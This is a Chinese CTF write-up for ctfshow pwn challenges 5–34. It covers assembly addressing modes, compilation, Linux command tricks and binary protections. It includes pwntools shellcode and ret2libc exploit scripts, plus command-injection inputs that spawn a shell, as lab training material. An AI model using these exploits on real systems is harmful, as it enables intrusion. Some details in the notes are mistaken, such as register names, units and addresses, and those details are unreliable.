# 官方 wp:
0-36:
https://ysynrh77rj.feishu.cn/docx/Hw1md0aZSoucFixEf6Ac2otQnwh
37-72:
https://ysynrh77rj.feishu.cn/docx/C1LvdsSnYoNIegxVNDEclz83nle
# 前置知识:
https://blog.csdn.net/m0_56696378/article/details/128067438
https://baike.baidu.com/item/%E5%AF%84%E5%AD%98%E5%99%A8%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F/6686408
# pwn5
# 题目
查看查询信息(另一个 asm 文件是用于在 C 源码中内嵌汇编语言。ASM 能写在任何 C 合法语句中,asm 还不是 C 的标准关键字)
32 位程序,利用 ida 打开
发现是 int 0x80,为系统调用,通过系统调用 write 函数来输出,输出结果即为 flag
【关于 asm,给我们解释了汇编代码的含义】
系统调用(int 0x80)在后面执行,系统调用号在前面
# pwn6(立即寻址方式)
# 题目
32 位程序,让我们计算立即寻址方式后的 eax 的值
【立即寻址方式是一种操作数寻址方式。在立即寻址方式下,指令的地址字段指出的是操作数本身,而不是操作数的地址。立即寻址方式的特点是指令执行时间很短,因为它不需要访问内存取数,从而节省了访问内存的时间。立即寻址方式常用于指令的源操作数,不能用作目的操作数。例如,MOV AX,5678H 指令中的 5678H 就是一个立即数,作为源操作数直接参与指令的运算。】这意味着,将寄存器不会去将该值当作地址,直接看作一个数值
mov eax, 0Bh #eax=0xBh
add eax, 1BF48h #eax=eax+0x1BF48h
sub eax, 1 #eax=eax-1
得到 eax=0x1BF52h (114514)
所以答案 ctfshow (114514)
此题 asm
# pwn7(寄存器寻址方式)
# 题目
【寄存器寻址方式:操作数在 CPU 内部的寄存器中,指令指定寄存器号。,意味着直接取指定寄存器当中的值即可】
mov ebx, 36Dh #ebx=0x36Dh
mov edx, ebx #edx=ebx
edx=0x36Dh (877),
ctfshow
【asm】
# pwn8(直接寻址方式)
# 题目
【直接寻址方式:在指令中直接给出参与运算的操作数及运算结果所存放的主存地址,即在指令中直接给出有效地址。意味着直接将地址赋值给对应寄存器】
32 位程序,查看汇编
mov ecx, dword_80490E8 #ecx=dword_80490E8 (地址就是0x80490E8)
ctfshow
【asm】
# pwn9 (间接寻址方式)
# 题目
【间接寻址方式:间接寻址是在直接寻址的基础上面建立起来的,也就是直接寻址得到的数据是一个地址,通过这个地址找到最终的数据,也就是两次寻址,第一次得到的是地址,第二次才是目标数据】
mov esi, offset dword_80490E8 #esi=offset dword_80490E8
mov eax, [esi] #eax=*esi (取地址内的值,方括号意味着取该地址的值)
利用 ida 查看其中的值
ctfshow
【asm】
# pwn10(寄存器相对寻址方式)
# 题目
【寄存器相对寻址方式:操作数的有效地址是一个寄存器和位移量之和。地址是寄存器 + 一个偏移值,具体值在该地址里】
mov ecx, offset dword_80490E8 #ecx=dword_80490E8
add ecx, 4 #ecx=ecx+4
mov eax, [ecx] #eax=*ecx (取该地址的值)
eax=*(0x80490E8+4)="ome_to_CTFshow_PWN"
ctfshow
【asm】
# pwn11(基址变址寻址方式)
# 题目
【基址变址寻址方式:操作数的有效地址是一个基址寄存器和一个变址寄存器的内容之和。一般为寄存器直接的运算在赋值】
mov ecx, offset dword_80490E8 #exc=0x80490E8
mov edx, 2 #edx=2
mov dax,[exc+edx*2] #ecx=*(0x80490E8+2*2)
ecx="ome_to_CTFshow_PWN"
ctfshow
【asm】
# pwn12(相对基址变址寻址方式)
# 题目
【相对基址变址寻址方式:操作数的有效地址是一个基址寄存器和一个变址寄存器以及一个位移量之和。一般为两个寄存器 + 一个值】
mov ecx, offset dword_80490E8 #ecx=80490E8
mov edx, 1 #edi=1
add ecx, 8 #ecx=ecx+8
mov eax, [ecx+edx*2-6] #eax=*(ecx+edx*2-6)
#eax=*(80490EC)='ome_to_CTFshow_PWN'
ctfshow
【asm】
# pwn13(gcc 编译)
# 题目
进行 gcc 编译:https://zhuanlan.zhihu.com/p/380937946
gcc test.c -o test #直接编译成可执行文件(-o 指定输出文件名称,默认 a.out) | |
./test #运行程序 |
# pwn14
# 题目
源码
#include <stdio.h> | |
#include <stdlib.h> | |
#define BUFFER_SIZE 1024 | |
int main() { | |
FILE *fp; | |
unsigned char buffer[BUFFER_SIZE]; | |
size_t n; | |
fp = fopen("key", "rb"); | |
if (fp == NULL) { | |
perror("Nothing here!"); | |
return -1; | |
} | |
char output[BUFFER_SIZE * 9 + 12]; | |
int offset = 0; | |
offset += sprintf(output + offset, "ctfshow{"); | |
while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) { | |
for (size_t i = 0; i < n; i++) { | |
for (int j = 7; j >= 0; j--) { | |
offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1); | |
} | |
if (i != n - 1) { | |
offset += sprintf(output + offset, "_"); | |
} | |
} | |
if (!feof(fp)) { | |
offset += sprintf(output + offset, " "); | |
} | |
} | |
offset += sprintf(output + offset, "}"); | |
printf("%s\n", output); | |
fclose(fp); | |
return 0; | |
} |
此处有 fopen("key",:"rb")
要打开文件 (rb 以读写方式打开一个二进制文件),不能让其为空,手动创建一个 key 文件,题目说明 key 为 CTFshow
创建完成后用 gcc 编译,执行程序
# pwn15(编译汇编代码形成可执行文件)
## 题目
【编译汇编代码】
[ams 基础,nasm 使用简介]:https://blog.csdn.net/jiangwei0512/article/details/51636602
利用 nasm
命令,使用下面的命令将汇编代码编译成对象文件(会生成一个 pwn15.o 的对象文件):
nasm -f elf pwn15.ams # -f 是指定编译出来的 .o文件的格式
【Linux 命令 —ld 命令】:
https://cloud.tencent.com/developer/article/1415004
ld命令是二进制工具集GNU Binutils的一员,是GNU链接器,用于将目标文件与库链接为可执行程序或库文件。
利用 ld
命令将对象文件链接成可执行文件
ld -m elf_i386 -s-o pwn15 pwn.o #-m是模拟指定的链接器,-s忽略来自输出文件的所有符号信息,-o 指定生成文件名称
查看汇编:
section .data
str1 db "CTFshow",0
str2 db "_3@sy",0
str3 db "@ss3mb1y",0
str4 db "_1s",0
str5 db "ctfshow{"
str6 db "}"
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, str5
mov edx, 8
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str3
mov edx, 8
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str4
mov edx, 3
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str2
mov edx, 5
int 0x80
mov eax, 4
mov ebx, 1
mov ecx, str6
mov edx, 1
int 0x80
mov eax, 1
xor ebx, ebx
int 0x80
执行 nasm -f elf pwn15.ams
命令和 ld -m elf_i386 -s-o pwn15 pwn.o
,
会产生可执行文件 pwn15,执行即可(原对象文件不消失)
# pwn16 (使用 gcc 编译可执行文件)
https://cloud.tencent.com/developer/article/1585066
文件扩展名为.s 的文件其实就是汇编代码文件,使用下面的命令将汇编代码转成对应的二进制形式的 cpu 指令
gcc -c main.s |
链接链接的作用是把代码之间的引用关系关联起来,最终生成一个完整的程序:
gcc main.o libc.o #此题只需要一个目标文件,所以直接用 gcc main.o 即可 |
# 题目
【asm】(题目附件文件为 pwn15.s,s 其实就是汇编代码文件)
.file "flag.c"
.text
.section .rodata
.LC0:
.string "ctfshow{"
.text
.globl ctfshow
.type ctfshow, @function
ctfshow:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $32, %rsp
movq %rdi, -24(%rbp)
leaq .LC0(%rip), %rdi
movl $0, %eax
call printf@PLT
movl $0, -4(%rbp)
jmp .L2
.L3:
movl -4(%rbp), %eax
movslq %eax, %rdx
movq -24(%rbp), %rax
addq %rdx, %rax
movzbl (%rax), %eax
movzbl %al, %eax
movl %eax, %edi
call putchar@PLT
addl $1, -4(%rbp)
.L2:
cmpl $15, -4(%rbp)
jle .L3
movl $125, %edi
call putchar@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ctfshow, .-ctfshow
.section .rodata
.LC1:
.string "%2hhx"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $64, %rsp
movq %fs:40, %rax
movq %rax, -8(%rbp)
xorl %eax, %eax
movabsq $4122593792332543030, %rax
movabsq $3834596513518335287, %rdx
movq %rax, -32(%rbp)
movq %rdx, -24(%rbp)
movl $825635894, -16(%rbp)
movb $0, -12(%rbp)
movl $0, -52(%rbp)
jmp .L5
.L6:
leaq -48(%rbp), %rdx
movl -52(%rbp), %eax
cltq
addq %rax, %rdx
movl -52(%rbp), %eax
addl %eax, %eax
leaq -32(%rbp), %rcx
cltq
addq %rcx, %rax
leaq .LC1(%rip), %rsi
movq %rax, %rdi
movl $0, %eax
call __isoc99_sscanf@PLT
addl $1, -52(%rbp)
.L5:
cmpl $15, -52(%rbp)
jle .L6
leaq -48(%rbp), %rax
movq %rax, %rdi
call ctfshow
movl $0, %eax
movq -8(%rbp), %rsi
xorq %fs:40, %rsi
je .L8
call __stack_chk_fail@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0"
.section .note.GNU-stack,"",@progbits
使用命令
gcc -c pwn16.s | |
gcc pwn16.o #不用 - o 指定生成文件名默认为 a.out |
# pwn17 (Linux 命令基础)
https://blog.csdn.net/bandaoyu/article/details/117296907
逐条执行命令:
echo 1; echo 2; echo 3 #即使命令执行错误也不影响后面的命令继续执行 |
# 题目
64 位程序,保护全开,ida 看一下
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int v4; // [rsp+4h] [rbp-1Ch] BYREF | |
char dest[4]; // [rsp+Ah] [rbp-16h] BYREF | |
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF | |
unsigned __int64 v7; // [rsp+18h] [rbp-8h] | |
v7 = __readfsqword(0x28u); | |
setvbuf(_bss_start, 0LL, 2, 0LL); | |
setvbuf(stdin, 0LL, 1, 0LL); | |
puts(asc_D48); | |
puts(asc_DC0); | |
puts(asc_E40); | |
puts(asc_ED0); | |
puts(asc_F60); | |
puts(asc_FE8); | |
puts(asc_1080); | |
puts(" * ************************************* "); | |
puts(aClassifyCtfsho); | |
puts(" * Type : Linux_Security_Mechanisms "); | |
puts(" * Site : https://ctf.show/ "); | |
puts(" * Hint : You should understand the basic command usage of Linux! "); | |
puts(" * ************************************* "); | |
*(_DWORD *)dest = 790655852; | |
v4 = 0; | |
puts("\nHow much do you know about Linux commands? \n"); | |
while ( 1 ) | |
{ | |
menu(); | |
v4 = 0; | |
puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n"); | |
__isoc99_scanf("%d", &v4); | |
switch ( v4 ) | |
{ | |
case 1: | |
system("id"); | |
break; | |
case 2: | |
puts("Which directory?('/','./' or the directiry you want?)"); | |
read(0, buf, 0xAuLL); | |
strcat(dest, buf); | |
system(dest); | |
puts("Execution succeeded!"); | |
break; | |
case 3: | |
sleep(1u); | |
puts("$cat /ctfshow_flag"); | |
sleep(1u); | |
puts("ctfshow{"); | |
sleep(2u); | |
puts("... ..."); | |
sleep(3u); | |
puts("Your flag is ..."); | |
sleep(5u); | |
puts("ctfshow{flag is not here!}"); | |
sleep(0x14u); | |
puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......"); | |
sleep(0x1BF52u); | |
system("cat /ctfshow_flag"); | |
break; | |
case 4: | |
sleep(2u); | |
puts("su: Authentication failure"); | |
break; | |
case 5: | |
puts("See you!"); | |
exit(-1); | |
default: | |
puts("command not found!"); | |
break; | |
} | |
} | |
} |
发现在 case 3
中,有 system("cat /flag")
但是中间会有等待时间(sleep(0x1bf52)单位为毫秒)
而在 case 2
中,有一个 strcat()
会将我们输入的值添加到 dest
后面,然后执行,在此输入 cat /ctfshow_flag
会导致无限循环(可能因为命令没有加;分割导致,并且没有清空 buf,导致不断执行)
此处需要将命令利用 ;
分开,分别执行, read
读 10 个字节,所以需要使用通配符 *
输入命令 ;cat /ctf*
即可
# pwn18(Linux 命令基础)
# 题目
64 位程序,保护全开了,ida 查看
fake()
real()
发现这个两个函数的输出定向符不同
>>
会换行,将命令产生的结果输出在已有文件内容的下一行开始
>
命令的输出结果覆盖原有文件的内容(会清空旧内容)
这两个重定向符如果指定输出的文件不存在就创建这个文件
回到题目,由于我们要输出 flag,所以不能让原内容清空,就只能用 fake()
函数,也就是我们需要满足 v4==9
这个条件,即输入 9 即可
# pwn19(Linux 基础命令)
# 题目
64 位程序,保护全开,ida 查看
发现调用了一个 fork 函数, fork函数返回两次,子进程返回0,父进程返回子进程的pid
(执行返回值顺序是不定的),所以当是子进程返回 0 时才能到 else
段继续写入执行得到 flag
又有一个 fclose()
函数,它关闭了一个输出流,我们要对其进行绕过,通过 Linux命令
中的 exec 1>&0
将标准输出流重定向到标准输入流里,并且在打开终端后都默认指向终端,所以会输出到终端上
最后输入 exec cat /ctf* 1>&0
会将 flag 输出到终端上,也可以是 exec sh 1>&0
进行 shell 交互得到 flag
# pwn20(RELRO 保护)
RELRO(RELocation Read-Only) 是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure LinkageTable,简称 PLT)的可写性来防止针对这些结构的攻击。
RELRO 保护有三种状态:
- No RELRO:在这种状态下,GOT 和 PLT 都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。
- Partial RELRO:在这种状态下,GOT 的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
- Full RELRO:在这种状态下,GOT 和 PLT 都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止
# 题目
got 表是否可写通过保护 RELRO 查看,FULL RELRO 代表着 got 表不可写,
NO RELRO 代表可写,代表部分可写
此处 No RELRO
代表 got 表可写,plt 表可写
然后查看 .got
表和 .plt.got
表地址,利用命令在终端上直接输入 readelf -s pwn20
即可(也可利用 ida 查看)
ctfshow
# pwn21(RELRO 保护)
# 题目
查看保护
发现是 Partial RELRO
保护开启了一部分, got
表开头部分被设置为只读,其他的剩余部分仍然可写,所以这里是 got
不可写, .plt.got
可写
查看各表的地址
ctfshow
# pwn22 (RELRO)
# 题目
查看保护
FULL RELRO:
got 表和 plt 表都只读
利用 readelf -s pwn22
查看表的地址,发现没有 .got.plt
ctfshow{0_0_0x600fc0}
# pwn23(signal 信号处理)
# 知识点:
# 1. 函数原型
void(* signal(int sig,void(* func)(int)))(int); |
关注内部的 signal(int sig,void(* func)(int))
,sig 是指定的信号编号,用来以该指定的方式来处理信号(指定使用 sig 指定的信号编号处理信号的方法)
参数 func 指定程序可以处理信号的三种方式:
- 默认处理(SIG_DFL):信号由该特定信号的默认动作处理。
- 忽略信号(SIG_IGN):忽略信号,即使没有意义,代码执行仍将继续。
- 函数处理程序:定义一个特定的函数来处理信号。
# 2. 有时候 Func 这个参数 也可以是我们自定义的参数
signal(11,sigsegv_handler);
这里 11 也代指 SIGSEGV
【(信号分段违规)对存储的无效访问:当程序试图在已分配的内存之外读取或写入时】,意味着当程序想读写未分配给它的内存时,让 sigsegv_handler
函数来处理
而 sigsegv_handler
函数可以自定义来执行
所以我们需要触发对应的信号来执行 信号处理函数
# 题目
查看保护
32 位程序,开启了 nx,先利用 ssh 连接一下
ssh ctfshow@pwn.challenge.ctf.show -p28151
连接后根据提示输入 yes
和 密码
此时程序还未运行, ls
查看一下
利用命令 ./pwnme
执行该文件
# 程序源代码
发现有一个 signal函数
,里面有 flag
程序定义了一个信号量,当出现这个信号量(非法内存访问)的时候,会执行sigsegv_handler函数
即当我们非法内存访问的时候,会将我们的flag通过标准错误打印出来(fflush(stderr))
为了输出 flag ,我们需要触发信号量,也就是触发 非法内存访问
来执行 sigsegv_handler
打印我们的 flag
,所以利用栈溢出即可完成这个触发
但是我们怎么输入?可以看见 argc
为 main
函数的参数,当我们输入命令时,就相当于输入了 argc
(这里输入要执行程序命令和 参数一起输入
)
在 ctfshow函数
里会将 src
复制到 dest
上 (也就是将 argc 复制到栈上),利用这里我们就可以进行栈溢出, dest
在栈的大小为 0x3e(62),当我们输入 66 个 padding 时 (不知道和执行程序命令中间的 空格算不算一个字符
,但是输入 65 个会是段错误) 就可以得到 flag
# pwn24(shellcode)
# 题目
32 位仅部分开启 RELRO 保护可以看到存在一个 RWX 权限的段,即可读可写可执行的段,没有开启 NX 考虑写入 shellcode
main函数
ctfshow 函数无法反汇编,直接查看汇编代码
这里我们发现 read 可以溢出,并且 call
后面还会去执行 eax
也就是执行我们写入的 buf
,由此我们就可以直接注入 shellcode
官方解释:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn24') | |
#e=ELF('./') | |
p=remote('pwn.challenge.ctf.show',28141) | |
shellcode = asm(shellcraft.sh()) | |
p.recv() | |
p.sendline(shellcode) | |
p.recv() | |
p.interactive() |
# pwn25(ret2libc)
# 1. 题目:
已经说明了用 ret2libc
开启了 NX 保护,无法利用 shellcode
main:
ctfshow:
可以栈溢出,没有后面函数,但是调用了 write 函数,我们可以利用来泄露 libc 地址
# 泄露 libc 地址:
32 位程序是先一系列调用的函数然后再是参数,通过栈溢出来调用 write 输出 wire 的真实地址来得到 libc 的基址,从而知道 system
地址来 getshell
payload=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) | |
p.send(payload) | |
write=u32(p.recv(4)) |
# exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
libc=ELF("./32libc.so.6") | |
#p=process('./pwn25') | |
e=ELF('./pwn25') | |
p=remote('pwn.challenge.ctf.show',28202) | |
write_plt=e.plt["write"] | |
write_got=e.got["write"] | |
read_plt=e.plt["read"] | |
read_got=e.got["read"] | |
main=0x080484F6 | |
payload=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) | |
p.send(payload) | |
write=u32(p.recv(4)) | |
log.info("wiret="+hex(write)) | |
libc=LibcSearcher("write",write) | |
libc_base=write-libc.dump("write") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
log.info("system:"+hex(system)) | |
log.info("binsh:"+hex(binsh)) | |
payload1=b"a"*(0x88+4)+p32(system)+p32(main)+p32(binsh) | |
p.sendline(payload1) | |
p.interactive() |
(这里找到都是 64 位的库,我以为不行,谁知道最后居然可以)
# pwn26(ALSR)
ASLR 是 Linux操作系统
的功能选项,作用于程序 (ELF) 装入 内存
运行时。是一种针对缓冲区溢出的安全保护技术,通过对加载地址的随机化,防止攻击者直接定位攻击代码位置,到达阻止溢出攻击的一种技术。
# 题目
64 位程序,ida 查看一下,发现当 ALSR 级别为 0 时得到正确的 flag
我们查看一下本机 Linux 系统的 ALSR 开启的级别
sudo cat /proc/sys/kernel/randomize_va_space |
看到等级为 2
在 gdb 中修改等级
关闭ASLR:
set disable-randomization on
查看ASLR开启情况:
show disable-randomization
运行:
# pwn27(ASLR)
# 题目:
64 位程序,没有开启 pie
这里运行得到了正确的 flag,查看发现关闭了 ASLR
# pwn28 (ALSR 与 PIE)
# 题目:
64 位程序,没有开启 pie
这里看见打印的是函数地址,因为没有开启 pie 所以 函数地址
不变
直接运行:
# pwn29 (ALSR 与 PIE 都开启)
# 题目
保护全开:
可以看到提示,也直接给了 flag:
# pwn30(关闭 PIE)
# 题目:
32 位程序,PIE 保护关闭了
伪代码:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
setvbuf(stdin, 0, 1, 0); | |
setvbuf(stdout, 0, 2, 0); | |
ctfshow(&argc); | |
puts(asc_8048710); | |
puts(asc_8048784); | |
puts(asc_8048800); | |
puts(asc_804888C); | |
puts(asc_804891C); | |
puts(asc_80489A0); | |
puts(asc_8048A34); | |
puts(" * ************************************* "); | |
puts(aClassifyCtfsho); | |
puts(" * Type : Linux_Security_Mechanisms "); | |
puts(" * Site : https://ctf.show/ "); | |
puts(" * Hint : No Canary found & No PIE "); | |
puts(" * ************************************* "); | |
write(0, "Hello CTFshow!\n", 0xEu); | |
return 0; | |
} |
查看 ctfshow 函数,发现可以进行栈溢出:
没有后门那就利用 ret2libc
来 getshell(与 pwn25 完全相同)
# exp (直接利用 pwn25 的 exp 就行):
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
libc=ELF("./32libc.so.6") | |
#p=process('./pwn25') | |
e=ELF('./pwn25') | |
p=remote('pwn.challenge.ctf.show',28282) | |
write_plt=e.plt["write"] | |
write_got=e.got["write"] | |
read_plt=e.plt["read"] | |
read_got=e.got["read"] | |
main=0x080484F6 | |
payload=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) | |
p.send(payload) | |
write=u32(p.recv(4)) | |
log.info("wiret="+hex(write)) | |
libc=LibcSearcher("write",write) | |
libc_base=write-libc.dump("write") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
log.info("system:"+hex(system)) | |
log.info("binsh:"+hex(binsh)) | |
payload1=b"a"*(0x88+4)+p32(system)+p32(main)+p32(binsh) | |
p.sendline(payload1) | |
p.interactive() |
# pwn31 (ASLR 和 PIE 都开启)
# 题目:
32 位程序,PIE 开启
因为开启了 PIE 所以 main 函数地址也会变,就不能直接利用上面的 main 函数地址,但是源码有个打印 main 函数地址
但是因为开启了 PIE,其他函数地址也同样在变化,那么我们就无法从 ELF 中得到函数的 got 和 plt 地址,需要通过上面得到的 main 函数的真实地址来获得基址:
base=main-e.sym["main"] |
通过得到的基址再算出各个函数的 plt 和 got 地址:
write_plt=base+e.plt["write"] | |
write_got=base+e.plt["write"] |
注意这里 ebx 的值也要考虑(原因还不清楚)
ebx=base + 0x1fc0 (got表的地址) | |
payload=b"a"*132+p32(ebx)+b"aaaa"+p32(write_plt)+p32(show_add)+p32(1)+p32(write_got)+p32(4) |
其他方面基本一致
# exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
libc=ELF("./32libc-2.27.so") #libc 版本要考虑进去 | |
e=ELF('./pwn31') | |
p=remote('pwn.challenge.ctf.show',28198) | |
main=int(p.recvline(),16) | |
log.info("main:"+hex(main)) | |
offset=main-e.symbols["main"] | |
write_plt=offset+e.plt["write"] | |
write_got=offset+e.got["write"] | |
#read_plt=offset+e.symbols["read"] | |
#read_got=offset+e.got["read"] | |
show_add=offset+e.symbols["ctfshow"] | |
ebx=offset+0x1fc0 | |
#ebx=0 | |
payload=b"a"*132+p32(ebx)+b"aaaa"+p32(write_plt)+p32(show_add)+p32(1)+p32(write_got)+p32(4) #这里的 ebx 不能变 | |
p.send(payload) | |
write=u32(p.recv(4)) | |
libc_base=write-libc.symbols["write"] | |
system=libc_base+libc.symbols["system"] | |
binsh=libc_base+next(libc.search(b"/bin/sh")) | |
log.info("system:"+hex(system)) | |
log.info("binsh:"+hex(binsh)) | |
payload1=b"a"*(0x88+4)+p32(system)+p32(show_add)+p32(binsh) | |
p.send(payload1) | |
p.interactive() |
# pwn32(FORTIFY)
FORTIFY_SOURCE=0
意味着没有开启保护,不会检查栈溢出漏洞
# 题目:
(是 ssh 连接)
64 位程序除了 canary 其他都开了
main 函数:
undefined 函数(发现可以得到 flag):
想要得到 flag 需要 argc > 4
,我们直接传三个参数,第一个参数 大于4
即可
连接 ssh 后输入:
./pwnme 5 0 0 0 #这里的5为int agrc;至于为什么是4个参数才行不太明白,3个参数就不行 |
# pwn33(FORTIFY)
FORTIFY_SOURCE=1
:在编译时进行一些安全检查,如缓冲区边界检查、格式化字符串检查等。
# 题目
查看保护,64 位程序
ida 查看,发现开启了 FORTIFY 后有变化:
这是因为 FORTIFY
开启后会对其函数进行长度检查,导致无法进行溢出,但是格式化字符串 %2%x
和 %n
仍然可以用
# pwn34(FORTIFY)
FORTIFY_SOURCE=2
启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。
# 题目
可以发现开启了 FORTIFY_SOURCE=2
时,格式化字符串也进行了检查
格式化字符串失败:
获得 flag: